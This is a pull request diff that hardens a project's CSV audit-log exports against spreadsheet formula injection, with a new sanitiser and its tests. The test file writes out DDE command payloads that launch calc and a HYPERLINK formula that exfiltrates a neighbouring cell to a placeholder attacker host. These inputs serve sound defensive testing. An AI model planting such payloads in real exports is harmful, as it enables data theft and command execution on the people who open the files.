Merge pull request #3877 from MauryaQbit/fix/csv-injection-in-generate-csv

Neutralise formula prefixes in CSV log exports

server/private/routers/auditLogs/exportAccessAuditLog.ts

@@ -99,7 +99,7 @@ export async function exportAccessAuditLogs(
 
         const csvData = generateCSV(log);
 
-        res.setHeader("Content-Type", "text/csv");
+        res.setHeader("Content-Type", "text/csv; charset=utf-8");
         res.setHeader(
             "Content-Disposition",
             `attachment; filename="access-audit-logs-${data.orgId}-${Date.now()}.csv"`

server/private/routers/auditLogs/exportActionAuditLog.ts

@@ -99,7 +99,7 @@ export async function exportActionAuditLogs(
 
         const csvData = generateCSV(log);
 
-        res.setHeader("Content-Type", "text/csv");
+        res.setHeader("Content-Type", "text/csv; charset=utf-8");
         res.setHeader(
             "Content-Disposition",
             `attachment; filename="action-audit-logs-${data.orgId}-${Date.now()}.csv"`

server/private/routers/auditLogs/exportConnectionAuditLog.ts

@@ -101,7 +101,7 @@ export async function exportConnectionAuditLogs(
 
         const csvData = generateCSV(log);
 
-        res.setHeader("Content-Type", "text/csv");
+        res.setHeader("Content-Type", "text/csv; charset=utf-8");
         res.setHeader(
             "Content-Disposition",
             `attachment; filename="connection-audit-logs-${data.orgId}-${Date.now()}.csv"`

server/routers/auditLogs/exportAiSessionLog.ts

@@ -94,7 +94,7 @@ export async function exportAiSessionLogs(
 
         const csvData = generateCSV(log);
 
-        res.setHeader("Content-Type", "text/csv");
+        res.setHeader("Content-Type", "text/csv; charset=utf-8");
         res.setHeader(
             "Content-Disposition",
             `attachment; filename="ai-session-logs-${data.orgId}-${Date.now()}.csv"`

server/routers/auditLogs/exportRequestAuditLog.ts

@@ -91,7 +91,7 @@ export async function exportRequestAuditLogs(
 
         const csvData = generateCSV(log);
 
-        res.setHeader("Content-Type", "text/csv");
+        res.setHeader("Content-Type", "text/csv; charset=utf-8");
         res.setHeader(
             "Content-Disposition",
             `attachment; filename="request-audit-logs-${data.orgId}-${Date.now()}.csv"`

server/routers/auditLogs/generateCSV.test.ts

@@ -0,0 +1,204 @@
+import { assertEquals } from "@test/assert";
+import { generateCSV } from "./generateCSV";
+
+// Split a CSV document into its physical lines. Used to assert that a single
+// record can never be spread over more than one row.
+function lines(csv: string): string[] {
+    return csv.split("\n");
+}
+
+function runTests() {
+    console.log("Running CSV export hardening tests...");
+
+    // A value must not be able to start a formula that the spreadsheet would
+    // evaluate once the admin opens the export.
+    {
+        const csv = generateCSV([
+            {
+                actor: `+cmd|'/c calc.exe'!A1`,
+                path: `-2+3+cmd|'/c calc'!A0`,
+                host: `@SUM(1+1)`
+            }
+        ]);
+
+        assertEquals(
+            csv,
+            "actor,path,host\n" +
+                `'+cmd|'/c calc.exe'!A1,'-2+3+cmd|'/c calc'!A0,'@SUM(1+1)`,
+            "Formula prefixes should be neutralised with a leading apostrophe"
+        );
+    }
+
+    // The primary attack from the issue report: a virtual API key name that
+    // exfiltrates a neighbouring cell to an attacker controlled URL.
+    {
+        const csv = generateCSV([
+            { actor: `=HYPERLINK("http://attacker.tld/?d="&A1,"click me")` }
+        ]);
+
+        assertEquals(
+            csv,
+            `actor\n"'=HYPERLINK(""http://attacker.tld/?d=""&A1,""click me"")"`,
+            "Hyperlink formula built from a virtual API key name should not evaluate"
+        );
+    }
+
+    // Quoting alone does not help, but a quoted cell still has to survive the
+    // round trip and keep the remaining columns on the same row.
+    {
+        const csv = generateCSV([{ actor: `="a","b"`, path: "/quoted" }]);
+
+        assertEquals(
+            csv,
+            `actor,path\n"'=""a"",""b""",/quoted`,
+            "A quoted formula should stay in one cell and leave later columns intact"
+        );
+    }
+
+    // Spreadsheets ignore leading whitespace before deciding a cell is a
+    // formula, so a tab prefix is dangerous too.
+    {
+        const csv = generateCSV([{ actor: "\t=1+1" }]);
+
+        assertEquals(
+            csv,
+            "actor\n'\t=1+1",
+            "A tab before a formula should be neutralised"
+        );
+    }
+
+    // CR, LF and CRLF all end a record for some parsers. Collapsing them keeps
+    // one record on one line so a value cannot forge additional rows.
+    {
+        const csv = generateCSV([{ actor: "me", path: "/multi\n=1+1\nline3" }]);
+
+        assertEquals(
+            csv,
+            "actor,path\nme,/multi\\n=1+1\\nline3",
+            "Embedded newlines should collapse to a literal escape sequence"
+        );
+        assertEquals(
+            lines(csv).length,
+            2,
+            "A record containing newlines should still occupy exactly one line"
+        );
+    }
+
+    // A record that ends in CRLF must not be able to open an empty row either.
+    {
+        const csv = generateCSV([{ actor: "me\r\nsecond", path: "/crlf" }]);
+
+        assertEquals(
+            csv,
+            "actor,path\nme\\nsecond,/crlf",
+            "CRLF should collapse the same way a bare LF does"
+        );
+        assertEquals(
+            lines(csv).length,
+            2,
+            "A record containing CRLF should still occupy exactly one line"
+        );
+    }
+
+    // A quote without a comma used to skip escaping entirely and eat the
+    // columns that followed it.
+    {
+        const csv = generateCSV([{ actor: `evil"cell`, path: "/p" }]);
+
+        assertEquals(
+            csv,
+            `actor,path\n"evil""cell",/p`,
+            "A quote without a comma should still be escaped"
+        );
+    }
+
+    // Ordinary values, commas and quotes should be untouched so the export
+    // stays readable.
+    {
+        const csv = generateCSV([
+            {
+                id: 1,
+                timestamp: 1700000000,
+                action: true,
+                host: "app.example.com",
+                path: "/api/v1/users",
+                metadata: null,
+                userAgent: undefined
+            },
+            {
+                id: 2,
+                timestamp: 1700000001,
+                action: false,
+                host: "app.example.com",
+                path: '/search?q=a,b"c',
+                metadata: null,
+                userAgent: undefined
+            }
+        ]);
+
+        assertEquals(
+            csv,
+            [
+                "id,timestamp,action,host,path,metadata,userAgent",
+                "1,1700000000,true,app.example.com,/api/v1/users,,",
+                `2,1700000001,false,app.example.com,"/search?q=a,b""c",,`
+            ].join("\n"),
+            "Benign rows should be emitted unchanged"
+        );
+    }
+
+    // A plain negative number is not a formula, so it must stay numeric
+    // instead of being forced to text with a leading apostrophe.
+    {
+        const csv = generateCSV([{ id: -12, path: "-1.5" }]);
+
+        assertEquals(
+            csv,
+            "id,path\n-12,-1.5",
+            "Negative numbers should stay numeric"
+        );
+    }
+
+    // A formula prefix is only dangerous at the start of a cell, so it must not
+    // be added mid-value.
+    {
+        const csv = generateCSV([{ host: "a=b.example.com" }]);
+
+        assertEquals(
+            csv,
+            "host\na=b.example.com",
+            "Only leading prefixes should be neutralised"
+        );
+    }
+
+    // Headers go through the same encoder so a column name containing a comma
+    // cannot desynchronise every row from the header row.
+    {
+        const csv = generateCSV([{ "a,b": "1", actor: "me" }]);
+
+        assertEquals(
+            csv,
+            '"a,b",actor\n1,me',
+            "A header containing a comma should be quoted"
+        );
+    }
+
+    // The empty result is a fixed header row and must stay byte for byte the
+    // same, since the UI relies on downloading a valid file even with no rows.
+    {
+        assertEquals(
+            generateCSV([]),
+            "orgId,action,actorType,timestamp,actor\n",
+            "An empty export should keep its placeholder header row"
+        );
+    }
+
+    console.log("All CSV export hardening tests passed!");
+}
+
+try {
+    runTests();
+} catch (error) {
+    console.error("Test failed:", error);
+process.exit(1);
+}

server/routers/auditLogs/generateCSV.ts

@@ -1,17 +1,55 @@
+// Spreadsheet applications (Excel, LibreOffice, Google Sheets) evaluate a cell
+// as a formula when it starts with one of these characters, even if the cell is
+// quoted. Log exports carry attacker controlled text in every column, so a
+// leading apostrophe is prefixed to force the cell to be read as literal text.
+const FORMULA_PREFIX = /^[=+\-@\t\r]/;
+
+// A leading "-" alone is not dangerous when the rest of the value is just a
+// number: spreadsheets read -12 as a number, not a formula. Only values like
+// "-2+3+cmd|'/c calc'!A0" (a DDE payload) actually need neutralising, so
+// plain negative numbers stay numeric instead of being forced to text.
+const NEGATIVE_NUMBER = /^-\d+(\.\d+)?$/;
+
+// CRLF, CR and LF each terminate a record for at least one CSV parser, so a
+// value containing them would otherwise spill across rows and forge new ones.
+// Replacing them with a literal "\n" keeps every record on a single line.
+const LINE_BREAKS = /\r\n|\r|\n/g;
+
+/**
+ * Render a single value as a CSV field that cannot be reinterpreted by a
+ * spreadsheet application or reshape the surrounding file.
+ */
+function toCsvField(value: unknown): string {
+    // Array#join renders null and undefined as an empty field, which is what the
+    // export has always emitted for those columns, so keep that behaviour.
+    if (value === null || value === undefined) {
+        return "";
+    }
+
+    const text = String(value).replace(LINE_BREAKS, "\\n");
+
+    // Quoting does not stop a spreadsheet from evaluating the unquoted value,
+    // so the apostrophe has to be added before the field is escaped.
+    const cell =
+        FORMULA_PREFIX.test(text) && !NEGATIVE_NUMBER.test(text)
+            ? `'${text}`
+            : text;
+
+    if (cell.includes(",") || cell.includes('"')) {
+        return `"${cell.replace(/"/g, '""')}"`;
+    }
+
+    return cell;
+}
+
 export function generateCSV(data: any[]): string {
     if (data.length === 0) {
         return "orgId,action,actorType,timestamp,actor\n";
     }
 
-    const headers = Object.keys(data[0]).join(",");
+    const headers = Object.keys(data[0]).map(toCsvField).join(",");
     const rows = data.map((row) =>
-        Object.values(row)
-            .map((value) =>
-                typeof value === "string" && value.includes(",")
-                    ? `"${value.replace(/"/g, '""')}"`
-                    : value
-            )
-            .join(",")
+        Object.values(row).map(toCsvField).join(",")
     );
 
     return [headers, ...rows].join("\n");